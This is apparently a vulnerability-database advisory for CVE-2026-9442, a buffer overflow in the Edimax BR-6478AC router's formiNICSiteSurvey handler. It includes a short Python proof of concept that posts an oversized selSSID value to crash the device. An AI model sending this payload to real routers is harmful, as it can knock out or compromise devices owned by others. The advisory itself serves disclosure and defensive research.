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CVE-2026-9442 CVSS 8.8 HIGH

CVE-2026-9442

Published: 2026-05-25 10:16:16
Last Modified: 2026-05-25 10:16:16

Description

A weakness has been identified in Edimax BR-6478AC 1.23. This affects the function formiNICSiteSurvey of the file /goform/formiNICSiteSurvey of the component POST Request Handler. Executing a manipulation of the argument selSSID can lead to buffer overflow. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Edimax BR-6478AC 1.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://target_ip/goform/formiNICSiteSurvey" # Malicious payload to trigger buffer overflow (e.g., 1000 'A's) payload = { "selSSID": "A" * 1000 } try: # Send POST request response = requests.post(url, data=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Exploit failed or service crashed: {e}")

References

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